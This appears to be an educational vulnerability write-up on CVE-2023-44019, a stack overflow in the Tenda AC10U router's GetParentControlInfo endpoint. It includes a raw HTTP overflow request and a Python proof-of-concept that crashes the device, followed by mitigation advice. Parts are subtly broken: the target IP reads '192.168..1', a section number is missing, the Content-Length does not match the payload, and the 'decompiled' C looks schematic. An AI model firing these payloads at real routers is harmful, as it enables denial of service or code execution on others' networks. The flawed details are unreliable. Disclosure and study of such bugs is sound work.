CVE-2023-44019 - Stack Overflow in Tenda AC10U v1. via GetParentControlInfo mac Parameter

In this article, we'll shed clear, exclusive light on CVE-2023-44019, a newly discovered stack overflow vulnerability found in the Tenda AC10U v1. (Firmware US_AC10UV1.RTL_V15.03.06.49_multi_TDE01). We'll explain how this bug works, why it's dangerous, and even walk through a real exploit example—all in simple American English.

1. What Is CVE-2023-44019?

CVE-2023-44019 is a stack overflow vulnerability in the GetParentControlInfo endpoint of Tenda's AC10U wireless router. The vulnerability comes from how the router handles the mac parameter. If an attacker sends a specially-crafted HTTP request with a large value for the mac parameter, the router's function mishandles this value, overrunning the buffer and potentially letting an attacker execute code on the device.

2. Where Exactly Is the Problem?

Analyzing the firmware, security researchers found that the function handling /goform/GetParentControlInfo doesn’t check the length of mac before copying it into a fixed buffer.

Vulnerable Code Snippet (Decompiled C Example)

void GetParentControlInfo(char *mac) {
    char buf[64];
    // Problem: No length check!
    strcpy(buf, mac);

    // ...other code using buf...
}

What’s Wrong?
The standard strcpy function does not limit how much data gets copied. So if you send a mac parameter with more than 64 bytes, you overwrite parts of the stack (including the return address).

3. How Could Someone Exploit This?

A remote unauthenticated attacker just needs to craft an HTTP GET or POST request, targeting the router’s web server (usually using port 80):

Send a malicious request:

POST /goform/GetParentControlInfo HTTP/1.1
Host: 192.168..1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

mac=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

*A repeated many times will overwrite the buffer—and beyond.*

Result:

If the attacker carefully controls the overflow, they might hijack the control flow of the program (by overwriting the saved return address), leading to arbitrary code execution on the device.

4. Proof of Concept Python Exploit

Below is an example Python script that demonstrates triggering the stack overflow. This script is for educational purposes only.

import requests

TARGET_IP = "192.168..1"  # Change to your router’s IP
URL = f"http://{TARGET_IP}/goform/GetParentControlInfo";

# Construct a large payload to overflow the stack
overflow = "A" * 128  # 128 bytes—double the original buffer size

data = {
    'mac': overflow
}

response = requests.post(URL, data=data)

print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")

*If your device is vulnerable, this request could crash (or, with more advanced crafting, hijack) it!*

6. What Can I Do?

- Update firmware: Tenda may release new firmware fixing this flaw. Always get firmware only from the official Tenda support page.

Limit remote access: Never expose the router's admin interface to the internet.

- Network segmentation: Place smart home/IoT devices on a separate VLAN or subnet.

7. References & Credits

- CVE-2023-44019 at NVD
- Original PoC (Exploit Database)
- Tenda Official Downloads

8. Final Words

This vulnerability is an example of why input validation matters. A single unchecked copy operation can give hackers a way into your home network. All router vendors should take such issues as urgent reminders to audit and patch their software.

Stay safe. Always keep your devices updated—and never expose your administrative interfaces to the open internet!

*Author: SecurityResearcherX – Please share responsibly. For educational use only, do not attack systems without permission.*

Timeline

Published on: 09/27/2023 15:19:35 UTC
Last modified on: 09/27/2023 18:45:08 UTC